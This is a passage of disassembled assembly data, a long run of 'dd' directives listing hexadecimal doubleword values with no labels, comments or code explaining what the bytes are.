		dd 0E0D6B327h, 0A8C2AC36h, 8C56AF28h, 6E807E00h, 1C946C34h
		dd 0BC6B03E4h, 7C46E99Fh, 0B203Fh, 0BEE0F76Ah, 72E313DCh
		dd 93D5007Fh, 4D8D631Fh, 8F00435Ah, 0BC8B7E59h,	0BE30D3h
		dd 9611D7B5h, 832BA16Ah, 0B7A81900h, 22427EBAh,	705A002Dh
		dd 87DFF1BFh, 9B007B61h, 0B82079C9h, 30297FEFh,	9FA6D4DEh
		dd 0F0ECB094h, 0D922B600h, 0F2478957h, 3F9034h,	2CD5B8D0h
		dd 5442D8C8h, 72536500h, 87758533h, 0D41D007Ch,	0AA677704h
		dd 0DF0E5F43h, 270F34h,	7F414B6Dh, 0FEFE082h, 0A5747D2Ah
		dd 641D15C3h, 8C786006h, 0B2860BCh, 75689D99h, 90F4BE03h
		dd 0EAFFAE8h, 804CF23Bh, 0E0E3AC8Eh, 7F74F3h, 3757422Dh
		dd 4668C412h, 90DD8C00h, 8363416h, 0CE1D1207h, 4F93009Fh
		dd 4A97A2D6h, 28760A00h, 72A092DCh, 274E254h, 0E5FFE4E3h
		dd 0B9803D9Dh, 0BB0D40AAh, 3009C907h, 388CC4F7h, 37BC0072h
		dd 0D8A8F518h, 6A00F335h, 48BED3E6h, 0EAC5CDh, 71081689h
		dd 0B120DAA9h, 0A8D88A01h, 57C36F70h, 7C67C4h, 0E1DD4940h
		dd 534A9AECh, 4136D302h, 40DFAA77h, 0A0DE26h, 0E74F5F59h
		dd 1FF19AE2h, 1F6D903Eh, 0AA00CFEFh, 0D3108853h, 0D69D1C14h
		dd 5AC4C047h, 4F912C7Ah, 5399BF00h, 0F0A095Dh, 983E00E8h
		dd 0B40B5F56h, 310AE981h, 10EA9594h, 5CB37F00h,	92C4B9Bh
		dd 6338ECC4h, 0A00A209h, 0B5D4318Bh, 807F9839h,	9E269C44h
		dd 18251B53h, 20834D2Dh, 3618EEA5h, 9E5008A8h, 0B7160376h
		dd 0EF1CC6E3h, 0E2268C0h, 0D56C7300h, 0C08DACFAh, 326E8A9h
		dd 599FD619h, 93A0B407h, 3300EE65h, 4910730Bh, 639E655h
		dd 344CBDC4h, 981058A8h, 4F80C315h, 0CD6CFE0Dh,	63105143h
		dd 0DAFA0016h, 0E89A59D8h, 0F00F0304h, 0CE10A8BCh, 35BE2103h
		dd 0E0DF487Bh, 0CB60Bh,	0B0DB362Ah, 1E77C570h, 0DE5AC902h
		dd 8249795Dh, 185EE6ACh, 0F29042BBh, 0AAA08A38h, 7C20AC2Dh
		dd 1668007Bh, 0B8382F5Dh, 9E00BFA8h, 74673C4Ah,	0FFCED1h
		dd 26AFF6CAh, 371B9035h, 24702300h, 51BCC82Ah, 3EB80074h
		dd 3807ED7Dh, 0D70087CAh, 0BDA79B81h, 26D912h, 0A645CB65h
		dd 493C56CFh, 0F51D7E7Ah, 19C316D6h, 0FF255CE7h, 0A41E9530h
		dd 0C2960283h, 0EB9FD79Bh, 342B69C0h, 22EA330Fh, 0A0E46F11h
		dd 2F6046ACh, 35E7AE9h,	0E5CC4C2Dh, 77A14FB0h, 87208045h
		dd 6FD88E13h, 0FE8100D4h, 0B773679Dh, 0E10E2B7Bh, 7F53EFC2h
		dd 8246E31Eh, 581486h, 0D53CC7E6h, 0CE387DC9h, 1ECC791Dh
		dd 20F9B80Ch, 11D00080h, 3EDFEAF6h, 6E3D8C23h, 0D1BD834Fh
		dd 8146AAF9h, 2A70712Eh, 0E713180Ah, 7A4E22C5h,	98EA201Eh
		dd 41A30680h, 1DAE7721h, 331EC5E5h, 0B870D020h,	0B45648C3h
		dd 10DE9Ch, 42492277h, 4A30CB3h, 8FF7F31h, 20804DBCh, 0D418097h
		dd 0E9008285h, 6032559Dh, 14AA927Ah, 24D531CFh,	208C3501h
		dd 0CBC4594h, 0D8938BBAh, 8C74D0A0h, 72875201h,	313DAF78h
		dd 0DB959C57h, 938F981Fh, 0C24AE042h, 10739BBh,	0CBA3092Fh
		dd 40881285h, 230534A3h, 0DF55171Ch, 0A57E003Ch, 247CC667h
		dd 9D6B006Ch, 4E490E5Ah, 15F2F03Dh, 3303A9F4h, 0F6CD625Eh
		dd 50A788B4h, 0CCB90B2Dh, 9A808C3Eh, 0EDC74C63h, 0F9B27000h
		dd 9CF1886h, 2E680084h,	0D59829E2h, 0C00038C1h,	65354460h
		dd 57A280h, 9A1CE0D3h, 0D7452048h, 0FB70D207h, 2E403B38h
		dd 81301Ah, 3C0D371h, 68B941Bh,	954A4100h, 0BFC855D1h
		dd 0CA190061h, 0FD2344C5h, 0D500E436h, 30314235h, 75AF6CD7h
		dd 9DA1027Bh, 0A3D8D29Ch, 8D6E7340h, 35D92CFh, 76CA90Eh
		dd 0F7113410h, 46FF006Ah, 661F80D7h, 2141DB17h,	5D6D2DCFh
		dd 0F878BFE0h, 1C33005Bh, 0CD0FECFAh, 3A00FB0Bh, 3B7F11C7h
		dd 0CFF9DBh, 0B93D73E8h, 0EEEC9094h, 8E32A600h,	89E513BFh
		dd 20BA00F2h, 0C4E27A59h, 1000CF07h, 0D2D6D1A4h, 0CB8FE5h
		dd 0FCC0965Eh, 0D826E328h, 731FB1ECh, 0CAC0904Dh, 0F8A486FDh
		dd 0C4761F58h, 7A53005Dh, 0D6AE6A93h, 2A37BF02h, 0E0A480E9h
		dd 1D7F3A6Dh, 4041604Ah, 309E9892h, 0FBE42002h,	66834B12h
		dd 16710101h, 18F85F69h, 986C01C9h, 0A938A221h,	2C408064h
		dd 0EF618562h, 630B0BC8h, 6C01D6AAh, 7E02FF4Bh,	68DF13C0h
		dd 1212E809h, 984149h, 0A6328942h, 48004E77h, 96844A7Bh
		dd 0C554CA5h, 407012D7h, 4600CE19h, 9D39B5F6h, 37654C1h
		dd 692CDAC8h, 0CBC3D8EBh, 0C96A70CFh, 240C3D11h, 0B2DF9453h
		dd 98591F58h, 40CFA73h,	0E3B06584h, 0FC5ED107h,	0EBC00767h
		dd 5227557h, 69F6E77Ch,	0B6538048h, 0D500B3E1h,	0B2793B71h
		dd 3FCDE2F0h, 0B080E372h, 0F5A34D5Eh, 4A036590h, 2C65783h
		dd 617C48h, 7A89E15Bh, 0BC0B7C59h, 0F0FBE03Dh, 19317661h
		dd 0B040EB78h, 249B6037h, 2FEA87h, 9FE116Eh, 0F1001C76h
		dd 96B08E5Dh, 294F2C9h,	0BD16B459h, 0D8C0ECDCh,	0B5008C1Ch
		dd 6C5107DFh, 4DB423Bh,	89230328h, 795B8049h, 0F6007DD2h
		dd 20A56ABAh, 70D3E956h, 0AAD12EE3h, 0DDAB0038h, 49C1C268h
		dd 43004A7Bh, 0E458F587h, 7B9739Ah, 0B2833CCAh,	0CD70F1E9h
		dd 0D180C2ECh, 12CBB09Eh, 970AD700h, 75C359ACh,	15770018h
		dd 91790EBFh, 0FF004F2Ch, 1BC60CFDh, 0B84CDBE7h, 0FE570AFh
		dd 246D57Bh, 2180E30Eh,	3B41B465h, 365DF000h, 0AB4FB551h
		dd 0F1820043h, 3415C38Ah, 8400D632h, 0CEB00B24h, 0E8742EC1h
		dd 305795Bh, 0C753F4FCh, 0CE0D04Eh, 4600AF91h, 9ED5806h
		dd 0BECC3Fh, 0E1E3129Dh, 567FF74h, 32CBC200h, 4D4E2452h
		dd 0FD7A9Ah, 0C0102DE6h, 0E88CE2FFh, 772E8400h,	9EF51FC5h
		dd 45180064h, 0ED6ED5BDh, 7201A605h, 226C7F4Ch,	0FB419123h
		dd 28889965h, 5E88B961h, 39688446h, 0E0400E2Ah,	0CD51EC2Eh
		dd 6DAE0885h, 4441B3EDh, 0A002793h, 89802FE6h, 0CB51C0BEh
		dd 7F4FFD82h, 29C39EE0h, 0F2D01F33h, 8726351h, 2082DE51h
		dd 8D929C08h, 0C6795369h, 21402881h, 0D828949Ah, 35A10C28h
		dd 6E7D282Ah, 12045141h, 557402C6h, 94180120h, 0EF790128h
		dd 3C0228BEh, 7824E61h,	0A19AAE80h, 7F031D12h, 0EC5E360Dh
		dd 0A60800BCh, 20053BEFh, 0C200B61Fh, 9787B20Eh, 0B7E506h
		dd 77E4E2D3h, 0DF33062h, 80C90B3Ch, 28462025h, 1F2FDE3Ah
		dd 0C17E2915h, 0C919CBDDh, 9F7FD013h, 437D0C1Dh, 0C3078600h
		dd 382AEDh, 1656E12Fh, 2D1E9795h, 27BC6224h, 55A62101h
		dd 0D8FBDEEEh, 1398EDBh, 4CB3D018h, 0D4B0BB3Fh,	0FE00CA58h
		dd 6C9BC3DFh, 7A8339FAh, 866E00F0h, 14357D74h, 6D000E72h
		dd 0A584F32Dh, 0F6F1E71Dh, 17C800B8h, 0A4F9F6D7h, 9C0A9132h
		dd 915FA8C6h, 2712B300h, 2B961Bh, 0DEFF716Bh, 0E1054D60h
		dd 80FC723Ch, 0B046C702h, 1EE36AC3h, 9642BB35h,	0B8D8002Bh
		dd 0CE47BD79h, 631C5400h, 44F078D8h, 0D175013Eh, 0FDD07B21h
		dd 0F4DBCCECh, 37526E0Fh, 4A9920F8h, 0B27A6Ah, 4ED6FA80h
		dd 83666DDBh, 28C68600h, 8536503Dh, 62BA0F48h, 9AE0E287h
		dd 0ECA4C5F3h, 9E995503h, 0E0EDFDBBh, 1686B4Bh,	0BE2AB16Fh
		dd 30E397F6h
		dd 0A009DB4h, 0A5DF27B7h, 1C5A489h, 0C85DC67Ch,	0F8B20F87h
		dd 61007EC0h, 60526632h, 0D32837h, 65054B92h, 8F3DB101h
		dd 0A5A0FB00h, 59A71FFDh, 0FCB6395Eh, 77AC7187h, 5660AF51h
		dd 0FA409C2Bh, 8070093Ah, 0F12D72B9h, 0F0B67Bh,	0F75D19EFh
		dd 0C7635164h, 95752300h, 0BF43732Fh, 3DC733Eh,	4A101316h
		dd 90040BEh, 2446BB3Ah,	0F966E8Dh, 0F951C88Bh, 529FB8C0h
		dd 93F03EE8h, 43D7BE00h, 760F7D4Fh, 98990008h, 956FC1C5h
		dd 0C67C6194h, 0F1F6D91Ch, 0D72D6200h, 9C1918h,	0CFA3012h
		dd 0CB5CA86Fh, 6EE2CD1Dh, 0F6944C0h, 3542F9h, 0FB6A9B9Fh
		dd 0EBDD6155h, 0B3A95800h, 435AE276h, 72660352h, 474CF87Dh
		dd 4D35C08Fh, 0D0C1DA6h, 8090FB41h, 0AA69006Bh,	16B3B8C6h
		dd 0FE008C7Fh, 0FAC4E589h, 3C7EE050h, 1F07A4A0h, 1007C95Dh
		dd 0B8EB68D2h, 727F9100h, 0B6DEEF60h, 98CAFC75h, 2C6EC0EAh
		dd 0FE61971Fh, 42275300h, 5C91A57Bh, 77C307EEh,	97C20C9Ah
		dd 224B40BFh, 0D900CD20h, 5F2B40C5h, 7856EBh, 0B63E8B7Eh
		dd 1E92B2C4h, 7138EE03h, 0A8373BF7h, 0FA2B1FEDh, 7DF000B5h
		dd 0E4FE5105h, 1700836Fh, 57103A78h, 0BE9A35h, 90062EE9h
		dd 2CA207FBh, 0BBA0F7EDh, 2A1D4E76h, 714F51DCh,	620FC027h
		dd 1D20EDCEh, 667F5FBEh, 4FC900D2h, 4569DC37h, 2794C400h
		dd 63A892D7h, 8C519DBh,	0D00BB8B7h, 9700280Fh, 5A5BC64h
		dd 7F757AAh, 0C3A0ADFFh, 0FDB935h, 0DBD22935h, 89020h
		dd 9B23457Eh, 4BF007C5h, 0E318100h, 0D25B3DBFh,	5EE0098h
		dd 12DE16DBh, 5700C93Bh, 0FF421955h, 184E7Ch, 77B58B4Fh
		dd 2BE45F94h, 5E2E4D00h, 0F6CDC4BEh, 0D0CB0046h, 0A66CE544h
		dd 0E700AB04h, 0A11A1D21h, 1ECA6178h, 0BF9F174Eh, 0B876FD80h
		dd 36D56068h, 4145A900h, 0AC83A0B5h, 0C41E00C6h, 0E6448293h
		dd 9E0124AEh, 0FCBDC03Bh, 0EBC08786h, 0E036006Bh, 5BD9C23Eh
		dd 7F33DC48h, 8A8C3088h, 5F0DC01Bh, 0E629E8EAh,	3CAA00E9h
		dd 0A226094Dh, 8A709C89h, 5E031F00h, 0F1A34763h, 0B4CD03FBh
		dd 2527A90Eh, 9842D0C7h, 0FC00A8A6h, 99C811D3h,	0DA9172h
		dd 384976D7h, 53F38F84h, 34D19700h, 4A267B8Ch, 9D9E0712h
		dd 68CA7Dh, 0A3143D17h,	6C575900h, 14FDA66h, 22DD0094h
		dd 0AE467C68h, 0D602D9BCh, 1BB515FEh, 7041E057h, 2B70710h
		dd 80846131h, 0FA74F073h, 1F5EFB00h, 5BE53C44h,	586500D4h
		dd 0D1410ECBh, 260005E6h, 1FD35C73h, 19D8AC14h,	114A3211h
		dd 8208805Fh, 0FDB15C21h, 0BEC7002Dh, 7F94E0A6h, 18001935h
		dd 0EB5A650Bh, 4B8F31h,	564F3051h, 89B55FBBh, 4676E916h
		dd 0D8CE6000h, 1C249EFFh, 3F494Ch, 0F859B0E4h, 0F30E11D7h
		dd 801CD804h, 1E0D6D85h, 0B3AF0022h, 4C4A2181h,	0F200DFE9h
		dd 4437FAE0h, 1CA1A51Fh, 405A47D9h, 0B6C39B11h,	4F0383DAh
		dd 14F41CC7h, 7DD0E7AFh, 1F7AA08Ch, 0F8FB702Dh,	0E46CE780h
		dd 6264DED8h, 0B796DB00h, 0B3C44E59h, 0F6080042h, 0B268D437h
		dd 0C0005BEEh, 3C636D0h, 79C7554h, 8330B1F9h, 9A099011h
		dd 9700B4E1h, 0A8AF1249h, 66D57h, 0D3DA1B16h, 1D94C830h
		dd 6F482D00h, 0BCCD3826h, 13670031h, 0FC3DE250h, 1A0007A5h
		dd 4EB6157Ah, 1CBD787h,	0D8DE2DAFh, 30788C94h, 2AC066CFh
		dd 5422135h, 74A006A1h,	806C8E86h, 6FA22300h, 3FBA30B5h
		dd 7BD1003Ch, 0BEAFD541h, 0A5012410h, 0FE328A6Bh, 90C46E6Ah
		dd 648E3CDEh, 0C5131EF7h, 9A27C0CCh, 799CC2B5h,	7BF8B900h
		dd 70258AFFh, 0E93200F7h, 0ED471241h, 14005FE3h, 0D3DCB95Eh
		dd 9DCFAAh, 4E366C52h, 51F4C647h, 3E964Ch, 0E3A7D103h
		dd 9229EFh, 23580224h, 0BDE4C197h, 5749CB60h, 1690FF8Ah
		dd 8F2EF1h, 1E3E481Ch, 631DE3E8h, 7821DFh, 4C099945h, 7610F6h
		dd 50FF52CAh, 0ABA92065h, 0B4E27700h, 0CE22D2B1h, 0BB75CBh
		dd 8A4D5171h, 0D7CC7CF1h, 0C57BFA03h, 0BDB6030Dh, 0F04E3BC3h
		dd 95B96Dh, 6FB5D0FEh, 3F0FC829h, 677EC900h, 80BC4D76h
		dd 0EE210027h, 0FFA54762h, 720053DFh, 86012F71h, 1E900E22h
		dd 80E2F6BFh, 0BE978D55h, 880370B3h, 940B1C56h,	8E30F09Ah
		dd 71603CCDh, 0B59EBF8Ah, 0A3C807B4h, 0C2998066h, 0F072499Ah
		dd 4B548F03h, 0A0CC0865h, 2F47217h, 59F31893h, 0E0F77A1Fh
		dd 0AA134Ah, 0B61DEC78h, 3CE23314h, 0C3C10500h,	6654983Dh
		dd 0CBF62Dh, 0E1DC700Ah, 43205556h, 0B912B0Eh, 0C7D347A3h
		dd 0A16733A7h, 971ABE61h, 0CB289E8h, 0B75AD2AFh, 4000BC08h
		dd 68B301Dh, 4A7108h, 39F0FFA3h, 0BA1B47F6h, 121AE60Fh
		dd 0BE77A719h, 0B6141EF0h, 239C0034h, 97B774E2h, 500D8F7h
		dd 86250F8Eh, 7B333Bh, 58248B85h, 48E645B5h, 0CB9C3800h
		dd 0E22DC2D3h, 0BAD5000Ch, 0C5DF7309h, 0D6033DF5h, 7871A2AFh
		dd 0C2ACE22Dh, 82BC805Fh, 0F263C56h, 88857435h,	699FE320h
		dd 7812B55Dh, 1C00AA6Dh, 57C53559h, 99E40113h, 0A6D7C147h
		dd 0BC46DC2Bh, 0D10EBEF2h, 3787AEh, 69FE0FD8h, 0A3BD12D0h
		dd 1000AEF2h, 8D7629FAh, 6E8E0438h, 0C0302292h,	0CC89B144h
		dd 0B72D6F00h, 1C01370Ch, 0F44500FBh, 7F80AD0Eh, 3307A85Ah
		dd 0BDA60A8Ch, 74A32AB7h, 20C6B80Fh, 0AB7359h, 9BB3D0D6h
		dd 0ED77B4Bh, 0AE215600h, 28BA8183h, 3D627338h,	7F803382h
		dd 0B54B4F9Fh, 0D300E5A7h, 508F4E3Ch, 599C0Dh, 0B2B6AF27h
		dd 148B2B57h, 6CECA600h, 2EAE491Ch, 218700FAh, 0CB9A01A3h
		dd 4350D171h, 362081ACh, 4973127Ah, 65582810h, 79B21D00h
		dd 0D1A96153h, 8777000Eh, 58100473h, 953A264Dh,	0D42280DEh
		dd 0A74BD09Dh, 12E2E63Ch, 3F0AB1h, 0D352791h, 2A0038B5h
		dd 3289C4A2h, 0DF523Bh,	0A61A8A92h, 5A8CCCE7h, 17A03Eh
		dd 1C8F7298h, 683FE1h, 4C4BF6E6h, 9F5EC421h, 0B8C02B00h
		dd 97D3F4CFh, 20FC3Eh, 0BF51CC1Eh, 0DE9B28F8h, 0B47EE228h
		dd 0E0ADD200h, 0DAE84CA4h, 46F83091h, 5049D08h,	0E4900301h
		dd 0AE7E975Ah, 12C4EEE0h, 4013DA79h, 0C1CC0B88h, 6D002C37h
		dd 7221019Eh, 2AEB07Ch,	0DE945EB6h, 0B49611D9h,	5A0FF00h
		dd 0CBC53F6Bh, 30F0797h, 0F073E5D2h, 9DF76A1Eh,	4A87188h
		dd 2A5BBB3h, 0E5390022h, 7C1374h, 1FCC8A28h, 0DBE3324Ah
		dd 2F43A500h, 0EA59170Ah, 0D6AF00B0h, 96F313C9h, 6300EE6Fh
		dd 77695370h, 0EC0E5133h, 7ECC0018h, 0B3D9E9C8h, 0ED058E24h
		dd 0FDEAAACh, 545C9F80h, 0F75776Fh, 8F1D3A3Eh, 6166D461h
		dd 5249CC98h, 5C65EA02h, 601C46FFh, 789293h, 97F0FBCEh
		dd 7D3889E2h, 61F48300h, 721D22D6h, 0AD1F05DAh,	1CAAC30Dh
		dd 198CC094h, 1A5384B5h, 71C1EC07h, 0F7A08088h,	4D2A57h
		dd 3E689169h, 0C16A3AC8h, 2507CC00h, 0B59B9D8Dh, 0F6780047h
		dd 8E3386AEh, 0B00B23Ah, 0E56C4D6Bh, 71CCD4Bh, 0F8E6A52Dh
		dd 0A7598062h, 713E1014h, 95CA803Eh, 0CFAEBBC4h, 155B00B9h
		dd 908BE2D4h, 0B300641Fh, 6E822FDCh, 1B8C3D0Fh,	6934F132h
		dd 609918BBh, 15D450BBh, 8A0852D7h, 0AF0A1h, 0D9EDF2FDh
		dd 553A24DCh, 0D7AB93AAh, 3DF69B00h, 2D8387h, 0EB76CD4Fh
		dd 14E4DEA4h, 1DA9343Ah, 1DDE7B2Fh, 5DBFB184h, 575C580h
		dd 23A000E1h, 82838C96h, 0E02C487Eh, 0E501544Bh, 0E2B8DBACh
		dd 0E3A5DFD8h, 6FE780E7h, 633A002Eh, 1ACE283Bh,	2C1EADE3h
		dd 5C0A77Eh
		dd 0E669B2D5h, 0B66A00E0h, 50A09B73h, 3D005875h, 70282CC5h
		dd 9DEFA41h, 490534CCh,	0FBDC3600h, 0F300AF90h,	21410346h
		dd 611A88h, 7FDBB414h, 2CE6EC2h, 9CB833FEh, 0AEA2B500h
		dd 2E13BE91h, 2B241ED3h, 0E172408Ah, 7C09256Ah,	519A400h
		dd 0D73EEC94h, 84A73A51h, 5B382900h, 86A1331Eh,	61C7C000h
		dd 0FE30938Ah, 11BD0056h, 5DB7B577h, 3300219Eh,	0A1F9244Dh
		dd 17FA1A16h, 20E8CB08h, 1D43A2C0h, 6F00E57Fh, 834C32BBh
		dd 0D1E868h, 0C86F88Eh,	0DEC8AC3Fh, 9E733700h, 44B56D76h
		dd 69FC03C3h, 0F4273CE0h, 2CED25A8h, 0BEB8AC00h, 0F980CF34h
		dd 10E3004Fh, 0F65D646Ch, 17042F8Bh, 0F5B0903h,	1DE1AC0h
		dd 5C7B04AAh, 0D010DFC6h, 0C7727F08h, 9D271C0Eh, 52CBC04Dh
		dd 0A14AFEh, 1FAEA937h,	0EEE1425h, 77B83Fh, 0D0DC6D7Ch
		dd 0DE2041h, 905FC6ECh,	8D4649F2h, 0A3C73F2Eh, 6C585700h
		dd 0E9CEE42h, 63EA0793h, 37A2E44Fh, 0B0812784h,	0E17AC497h
		dd 761BEC7Dh, 0F103C0E8h, 0CD030621h, 352C8157h, 1D392C20h
		dd 0C044C911h, 0ECD74310h, 281C3DBFh, 3C401A91h, 0B284A2F8h
		dd 0F1D10066h, 0F3D2B47Eh, 0E407748Dh, 59E3DBCBh, 88647650h
		dd 958B076Ch, 70723E4Bh, 20D928D6h, 9EC7B600h, 650B294Ah
		dd 2E190054h, 0B5AE3D31h, 200006E4h, 0B22DE624h, 0FC229433h
		dd 7B51002Ch, 0A7C014F1h, 0FF008F65h, 0DBA83BE8h, 0A3CDBEh
		dd 0CF5DA0B6h, 0E5E2ED5Fh, 4600AC93h, 0D06FCE4Eh, 25AB0048h
		dd 826D5A20h, 0F02C0C1h, 4E0904E7h, 0FB1C44E3h,	0DBECCCh
		dd 301F47F3h, 6A226201h, 4CF7312h, 3CBF4000h, 0F17704Ah
		dd 385D06B6h, 308268C2h, 0EE904143h, 64721059h,	0D83F38B0h
		dd 0E6148FE0h, 0C440603Dh, 2A7290h, 42A75A5Dh, 165396BAh
		dd 99588C00h, 0E0F2A095h, 92F489h, 80FC2431h, 3049E70Bh
		dd 0F9CC4C00h, 5902DD3Dh, 0D87501C6h, 9B3E9040h, 0EB8DD8E5h
		dd 942EC01Fh, 0ABA64480h, 1D57C8A7h, 0C063A91Eh, 52DA2D6Dh
		dd 18F89C9Eh, 8FCA5500h, 0A3E56FF0h, 98FE3DB5h,	1600A4BCh
		dd 76424903h, 5200AA6Bh, 38D53ACAh, 66F11B01h, 8471151h
		dd 0FD645B01h, 0F55CCD3h, 0EF10D4h, 915AB5ADh, 12CBE84h
		dd 973BF63Dh, 35ABh, 0EB1F2EF2h, 2D02007Fh, 7476E654h
		dd 0AB00D5BEh, 2E62488Dh, 0BDF846h, 9632D7DBh, 9BFF70C7h
		dd 0A6298100h, 72FE163Bh, 193A001Bh, 0ECF6BFBAh, 8300F4A1h
		dd 3F265D7Dh, 1177A4Ch,	0E8099508h, 20E429AEh, 340EE6C4h
		dd 20F2DF74h, 8430461Ch, 955F07C3h, 30D6B5FCh, 13B6ED2Fh
		dd 0D7B96000h, 41070BDh, 0F8E1F55h, 0A0847BD1h,	84E2EFECh
		dd 7126C15Eh, 6321207Ch, 0CE00227Fh, 0C7B1D353h, 0E47541h
		dd 8AA3C191h, 13905C68h, 931D0C02h, 604D0EC4h, 0F88B818h
		dd 0A6E36286h, 0D4A0E08Fh, 988E4152h, 8DF64200h, 479DAD40h
		dd 1BFE3EFDh, 37625380h, 689C93F8h, 4A723B00h, 8A7D44C7h
		dd 1B8D0079h, 69F36188h, 0C400D213h, 0D154469Dh, 1C5558ECh
		dd 402E2DF4h, 0B435A928h, 800862Fh, 0C6D81AE8h,	1EA1395Eh
		dd 40AEF351h, 0D813CA2h, 331D57D3h, 3FCA380h, 0A201685h
		dd 9820A593h, 98A676h, 536F7151h, 270C4A15h, 85DA8007h
		dd 0C8306B0Dh, 1B893E5h, 7BFD2BBBh, 605D6235h, 7C4CCBA8h
		dd 0EA790036h, 28801140h, 222300CDh, 68C96A0Bh,	0C8009E7Fh
		dd 0FDF8A639h, 799FA6Fh, 9D18D303h, 5EC500DCh, 0E2E6D7D1h
		dd 2E11F200h, 0A35D2C25h, 48011BD6h, 900101Ah, 0CB6CFB52h
		dd 923984h, 4EC02E85h, 0E6DC22B5h, 80E2933Eh, 54FB86F2h
		dd 7BAFCB79h, 0BBD80088h, 1006A724h, 1900E9ADh,	0FF4929CFh
		dd 0E05A621h, 0CC340A99h, 0B0D085C7h, 0D2D527DFh, 0EE001AE6h
		dd 5C8E5640h, 141EFCAFh, 0F867A870h, 0C37C431Eh, 0E2391B2Ch
		dd 0E6B5D2A8h, 3FFF648h, 67B0788Ah, 7D50E789h, 4825E338h
		dd 0E000081Fh, 0E75DCDE1h, 0CE0082F6h, 0DE7313D4h, 0D1A942h
		dd 0FF970423h, 0B730F4A3h, 0D70AA8B8h, 0F0C3F7B4h, 6C954300h
		dd 71713286h, 0A0DF008Fh, 0C2EE2B37h, 660F4DA5h, 60AB1522h
		dd 0E0D6E31Eh, 3ABB0F27h, 0C207938h, 6A76F3D5h,	41665A00h
		dd 0C01613E8h, 14447D94h, 8C28F7F5h, 8505DA07h,	0D4FC7060h
		dd 530054C8h, 2278A7CAh, 478FB9h, 0C0D51F8Eh, 0FD8C1C66h
		dd 771458h, 0E30574DCh,	5DF65Ch, 1E6CBAF2h, 0E6A39E75h
		dd 79F13Fh, 7F2CD74Fh, 5024687h, 14EE73B5h, 0A0D4C728h
		dd 0C85B6486h, 0D793FA00h, 0D4D555CEh, 0A9910248h, 28EE5DE7h
		dd 2E9A5060h, 0E8D71800h, 4AD0D874h, 22FB0079h,	309C971Fh
		dd 3F00F1ECh, 0A1D6863Bh, 0FAD0D2h, 77C52388h, 1992054Dh
		dd 9ABB9E00h, 0EE832902h, 51FD00BDh, 5FEAFD4h, 1F0071A5h
		dd 0BC22B6E8h, 12536Ch,	79077EC1h, 4CB5042Bh, 3334DF01h
		dd 0BC715EBEh, 122870h,	4B3A27E8h, 0C6B11993h, 102B0C37h
		dd 71C02AE7h, 0FE7DBCD9h, 0D752011Ch, 99649B6Ah, 6172CC4Eh
		dd 318FE4A0h, 1C271000h, 0F068AFCCh, 96EED3h, 18192C1h
		dd 2B459D7Ch, 36591D00h, 472DA5CCh, 0C9F097B2h,	0F0E71014h
		dd 0CD0075FCh, 0CF35617Ch, 605D537Eh, 0FCE518EDh, 780284E9h
		dd 0B279471Fh, 412440D7h, 9C7C3E13h, 499AC900h,	87E5CB35h
		dd 0A424E0E2h, 0FA00E24Dh, 98B30AEh, 615324E1h,	58A70084h
		dd 77D2BBFCh, 409C9800h, 631EDAD6h, 0B18A0F19h,	2A005517h
		dd 0D86C314Ch, 51343324h, 0AE1F2D0Eh, 44A1C003h, 0D50BBEh
		dd 5752A098h, 0EC5D1A9Bh, 0B3C17A24h, 6D29D200h, 1ED814A3h
		dd 9CC530A5h, 0BC21019Bh, 61314007h, 456CEC0Ch,	92A25603h
		dd 0C1525961h, 0C8DCD35Bh, 0AB0D00E0h, 8EED7766h, 0A413A2EEh
		dd 3F008108h, 9F211E1Dh, 4A6D0337h, 6747387Eh, 402BCE80h
		dd 0BFB90107h, 77034CFh, 7AAE3F71h, 2176004Eh, 0CC56601Ch
		dd 0E00C0A2h, 5491530Dh, 7C4EBF4h, 0BC482746h, 4F37BAh
		dd 1C60DDBh, 68E63C00h,	9423C09Ch, 0E7534h, 97A83D85h
		dd 0AF9E384Bh, 500087F6h, 4186CF24h, 0F2C302BDh, 1C1008Bh
		dd 0BBB229DFh, 9E0EA8CCh, 0E0246BF3h, 0F2C293C0h, 0AB4E02F1h
		dd 640F31C3h, 0E49FD082h, 33809080h, 667DFAA9h,	6D000177h
		dd 0F532527Bh, 7A89Fh, 0CB999750h, 0BC1B7CE9h, 0B61F1F76h
		dd 1905564Dh, 9B80A016h, 0FD1A78h, 0D03C022Ch, 0A4F85431h
		dd 7D9AA00h, 0FE552A25h, 27480434h, 80B506D6h, 0DD691CD8h
		dd 7E705058h, 5368D302h, 836455EBh, 0F88487CCh,	7D0B9DE6h
		dd 90AB7886h, 0AC700FD8h, 0C3C22A3Bh, 88C03CF5h, 0B163BFF4h
		dd 15140Ah, 4CFFC9C4h, 0DB4E237Ch, 2FAB770Fh, 66FBE044h
		dd 1F0C0843h, 83672778h, 4E8D105Bh, 28D5C2A0h, 0D3483809h
		dd 9101007Ch, 95B513h, 6FEC9FEEh, 905978E9h, 0C5CDE519h
		dd 881CB10h, 0AE83B977h, 9376E8B8h, 0CDEE8A61h,	8640D2EEh
		dd 0CB8DC6h, 5396CF6Eh,	3A48B017h, 16BE4216h, 0B7BF4000h
		dd 3F839FDh, 0D534831Fh, 0D998291Ch, 0BA5C9273h, 0CBE00C6h
		dd 0DA797ED7h, 0E5FE6Ah, 21703AD5h, 0FA7B467Ch,	6E85A100h
		dd 0F8AE0F0Bh, 0B27F4Ah, 0D4B61A38h, 0B7F95460h, 6DF40C12h
		dd 1370009h, 0D7FFD3A1h, 0CC28DCh, 0F1556AA0h, 766B8EC0h
		dd 80F05807h, 8C7F83Eh,	0CDE7AEB0h, 0F09903Fh, 0E521F607h
		dd 0A55BE3A0h, 0C40120FEh, 0D02B88CBh, 0F1D0DC84h, 71FB00CDh
		dd 6E8E1A04h, 960007E4h
		dd 2C686634h, 70595F3h,	4A3C53FFh, 67AB9059h, 74032712h
		dd 0B0C009D5h, 0F0E5B3CEh, 7FF55C77h, 2326007Eh, 3BCFCDCBh
		dd 0E2798443h, 2138F900h, 743AD4C0h, 0A5040766h, 258619B9h
		dd 0B044C0B7h, 8C77F0Ah, 0E0CF2B08h, 5BBDAEB3h,	0A6420350h
		dd 0A2FB2F8Ah, 153763B8h, 5E6C702h, 0C0B78377h,	0D2A0FEh
		dd 3133C072h, 1442613Bh, 4015C900h, 2DBF79DFh, 0C098E6h
		dd 2F82F7B1h, 8D4DEB6Ah, 0D3002190h, 71087511h,	0F76268h
		dd 6F4F046Bh, 76971D25h, 0DA813105h, 55802E61h,	0EF5FDFh
		dd 0BF42F032h, 0E95BC5EEh, 35395300h, 0D166C8ADh, 1F59E20Eh
		dd 41E08843h, 0DB7C8489h, 0F668D8BBh, 0E6561F18h, 0F6C115C0h
